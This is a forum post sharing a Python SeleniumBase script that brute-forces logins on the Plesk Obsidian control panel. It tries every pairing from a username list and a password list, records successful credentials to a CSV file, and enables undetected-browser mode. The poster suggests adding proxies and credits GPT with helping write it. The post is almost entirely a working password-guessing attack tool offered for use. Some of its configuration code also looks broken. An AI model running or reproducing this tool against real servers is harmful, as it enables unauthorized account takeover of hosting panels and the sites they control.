GPT and I had a little talk about SeleniumBase and I would also like to point out as someone else has that it's 100% better than plain old Selenium.
This was only tested on my own PC against my local Plesk setup so you may have to modify this for better results with proxies and maybe better error handling. I have left it easy to use on purpose but if you have more questions discuss with GPT.
Python:
import os
import csv
import pytest
from seleniumbase import BaseCase
from seleniumbase.config import settings
def configuration_wizard():
print("Introducing the Biden Administration Bruteforce Wizard.")
print("Breaking passwords faster than Biden breaks promises!")
plesk_url = input("Enter the URL of your Plesk Obsidian login page: ").strip()
while True:
username_file = input("Enter the path to your username txt file (each username on a new line): ").strip()
if os.path.exists(username_file):
break
print(f"File not found: {username_file}. Please try again.")
while True:
password_file = input("Enter the path to your password txt file (each password on a new line): ").strip()
if os.path.exists(password_file):
break
print(f"File not found: {password_file}. Please try again.")
results_file = input("Enter the path to save the results CSV file: ").strip()
default_selectors = {
"username": "input[name='username']",
"password": "input[name='password']",
"submit": "button[type='submit']"
}
print("\nDefault form selectors:")
for key, value in default_selectors.items():
print(f"{key}: {value}")
use_defaults = input("\nDo you want to use the default selectors? (yes/no): ").strip().lower()
if use_defaults == "no":
username_selector = input("Enter the CSS selector for the username field: ").strip()
password_selector = input("Enter the CSS selector for the password field: ").strip()
submit_selector = input("Enter the CSS selector for the submit button: ").strip()
else:
username_selector = default_selectors["username"]
password_selector = default_selectors["password"]
submit_selector = default_selectors["submit"]
return plesk_url, username_file, password_file, results_file, username_selector, password_selector, submit_selector
def log_result(results_file, username, password, status):
with open(results_file, 'a', newline='') as file:
writer = csv.writer(file)
writer.writerow([username, password, status])
class PleskBruteForceTest(BaseCase):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.plesk_url = ""
self.username_file = ""
self.password_file = ""
self.results_file = ""
self.username_selector = ""
self.password_selector = ""
self.submit_selector = ""
def login_attempt(self, username, password):
try:
self.open(self.plesk_url)
self.type(self.username_selector, username)
self.type(self.password_selector, password)
self.click(self.submit_selector)
self.sleep(1)
if not self.is_element_visible(self.username_selector):
print(f"Login successful with username: {username} and password: {password}")
log_result(self.results_file, username, password, "Success")
return True
else:
log_result(self.results_file, username, password, "Failed")
return False
except Exception as e:
print(f"An error occurred during login attempt: {e}")
log_result(self.results_file, username, password, f"Error: {e}")
return False
@pytest.mark.bruteforce
def test_bruteforce_passwords(self):
try:
with open(self.username_file, 'r') as user_file:
usernames = user_file.read().splitlines()
with open(self.password_file, 'r') as pass_file:
passwords = pass_file.read().splitlines()
for username in usernames:
for password in passwords:
self.login_attempt(username, password)
except Exception as e:
print(f"An error occurred: {e}")
if __name__ == "__main__":
plesk_url, username_file, password_file, results_file, username_selector, password_selector, submit_selector = configuration_wizard()
with open(results_file, 'w', newline='') as file:
writer = csv.writer(file)
writer.writerow(["Username", "Password", "Status"])
PleskBruteForceTest.plesk_url = plesk_url
PleskBruteForceTest.username_file = username_file
PleskBruteForceTest.password_file = password_file
PleskBruteForceTest.results_file = results_file
PleskBruteForceTest.username_selector = username_selector
PleskBruteForceTest.password_selector = password_selector
PleskBruteForceTest.submit_selector = submit_selector
settings.UC_DRIVER_MODE = True
pytest.main(["-v", "--html=report.html", "--tb=short"])
This was only tested on my own PC against my local Plesk setup so you may have to modify this for better results with proxies and maybe better error handling. I have left it easy to use on purpose but if you have more questions discuss with GPT.